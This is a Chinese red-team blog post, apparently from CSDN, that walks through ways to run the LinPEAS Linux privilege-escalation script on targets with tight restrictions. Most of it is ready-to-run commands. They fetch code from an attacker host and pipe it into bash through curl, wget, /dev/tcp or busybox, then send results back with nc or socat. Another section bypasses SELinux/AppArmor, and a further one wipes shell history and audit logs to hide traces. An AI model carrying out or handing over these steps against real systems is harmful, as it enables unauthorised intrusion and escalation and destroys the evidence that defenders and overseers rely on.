// 红队渗透 · 2025-03-13

LinPEAS 几种执行方式:从理想环境到极度受限场景

LinPEAS(Linux Privilege Escalation Awesome Script)是渗透测试与红队行动中最受欢迎的 Linux 本地提权枚举神器之一。它以 Bash 脚本形式,系统化地检查内核漏洞、SUID/SGID 文件、权限误配、服务配置、日志、定时任务、容器环境等数百项可能导致提权的线索,并以红黄绿颜色高亮高危项,极大提升效率。

然而,LinPEAS 的强大依赖于执行环境。现实场景往往充满限制:无 curl/wget、无外网、防火墙阻断、精简系统(如 Alpine)等。本文将从最理想到最极端的环境,系统梳理 LinPEAS 的多种执行方式。

一、最优路径:网络直取 + 内存执行

适用场景:目标机有 curl 或 wget,外网或内网可达攻击机 HTTP 服务。

攻击机准备(以 Kali 为例,IP 假设为 192.168.56.100):

  1. 放置最新 linpeas.sh(建议从 GitHub PEASS-ng 仓库 releases 下载最新版)
  2. 启动简单 HTTP 服务:
    # 方式一:Python3(推荐)
    python3 -m http.server 80
    
    # 方式二:busybox(精简环境可用)
    busybox httpd -f -p 80
  3. 另开终端监听结果(带颜色保存):
    nc -q 5 -lnvp 1234 | tee -a linpeas.colored.txt

目标机一键执行(内存运行,不落地文件):

# 经典组合(最常用)
curl -s http://192.168.56.100/linpeas.sh | bash | nc 192.168.56.100 1234

或使用 wget 版本:

wget -qO- http://192.168.56.100/linpeas.sh | bash | nc 192.168.56.100 1234

优点:最快、无文件落地、结果直接回传、颜色保留完整。(适合红队隐蔽场景) 缺点:依赖 curl/wget + 出站网络。

也可以用 socat 回传结果:

socat -u EXEC:./linpeas.sh TCP:192.168.56.100:1234

二、受限环境应对方案

方案 1:利用 Bash 内置 /dev/tcp(无下载工具首选)

前提:Bash 支持 /dev/tcp(大多数完整 Linux 支持,Alpine 等 musl 系常缺失)。

攻击机仍开启 HTTP 服务(80 端口放 linpeas.sh)。

目标机执行:

# 直接从内存读取并执行
exec 3<>/dev/tcp/192.168.56.100/80
cat <&3 | bash | nc 192.168.56.100 1234

或更简洁的单行写法:

cat < /dev/tcp/192.168.56.100/80 | bash | nc 192.168.56.100 1234

优点:无需任何额外下载工具,纯 Bash 原生能力。
缺点:部分精简系统不支持 /dev/tcp。

方案 2:借助 scp + busybox 多功能二进制

适用场景:有 SSH/SCP 通道,但目标机缺少 wget/curl/nc。

  1. 攻击机传输 busybox(静态编译版,支持 wget、nc 等数十个 applet):
    scp busybox user@目标机:/tmp/
  2. 目标机操作:
    cd /tmp
    chmod +x busybox
    
    # 用 busybox 自带 wget 下载
    ./busybox wget http://192.168.56.100/linpeas.sh -O linpeas.sh
    
    # 执行并回传(也可内存执行)
    ./busybox cat linpeas.sh | bash | ./busybox nc 192.168.56.100 1234

优点:busybox 几乎是“万能瑞士军刀”,补齐大部分缺失工具。
缺点:文件落地,痕迹较明显。

方案 3:极简环境 – 手写基础检查脚本

适用场景:无网络工具、无 /dev/tcp、甚至 busybox 都传不进去。

攻击机监听:

nc -lnvp 1234 > basic_check.txt

目标机创建并执行极简枚举:

cat > /tmp/quick.sh << 'EOF'
#!/bin/bash
echo "[*] SUID/SGID files"
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

echo "[*] Writable critical files"
find /etc -writable 2>/dev/null

echo "[*] Running processes"
ps aux --sort=-%cpu | head -n 30

echo "[*] Kernel version & release"
uname -a
cat /etc/*-release 2>/dev/null

echo "[*] Container check"
cat /proc/1/cgroup 2>/dev/null | grep -i docker
EOF

chmod +x /tmp/quick.sh
/tmp/quick.sh | nc 192.168.56.100 1234

优点:几乎任何有 bash 的环境都能跑。
缺点:信息量远不如 LinPEAS,需后续手动深入。

三、执行优化与痕迹清理要点

  • 优先内存执行:尽量全程管道 | bash,避免脚本落地。
  • 常用目录:/tmp、/dev/shm、/var/tmp(重启易清空)。
  • 绕过限制:若直接 bash linpeas.sh 被 SELinux/AppArmor 阻断,可尝试:
    bash -c "$(curl -s http://attacker/linpeas.sh)"
  • 清理痕迹:
    • history -c && history -w
    • 移除临时文件:rm -f /tmp/linpeas* /tmp/quick.sh
    • 检查并清理审计日志(视环境:/var/log/audit/audit.log 等)

四、真实案例速览

案例1 – Docker 容器逃逸
环境:Ubuntu 容器、无 curl、有 nc 和 bash
步骤:确认 cgroup → 检查 docker.sock 权限 → 若可写则用 API 创建特权容器 → 失败则用 /dev/tcp 拉取 LinPEAS → 发现宿主机 /etc 挂载 → 修改 passwd 逃逸。

案例2 – 内网纯净 CentOS
环境:无外网、仅 SSH 可达
步骤:scp 传 busybox → 用 busybox wget 拉 LinPEAS → 发现异常 SUID 二进制 → 利用注入/覆盖 → 成功提权。

LinPEAS 不是万能钥匙,但掌握其多种执行路径,能极大提升你在不同受限环境下的生存与提权效率。善用管道、内存执行、busybox、/dev/tcp,你几乎能在任何 Bash 可用的 Linux 上让它发挥作用。

希望这篇指南能在实战中助你一臂之力。

原文 https://blog.csdn.net/2301_79518550/article/details/146040815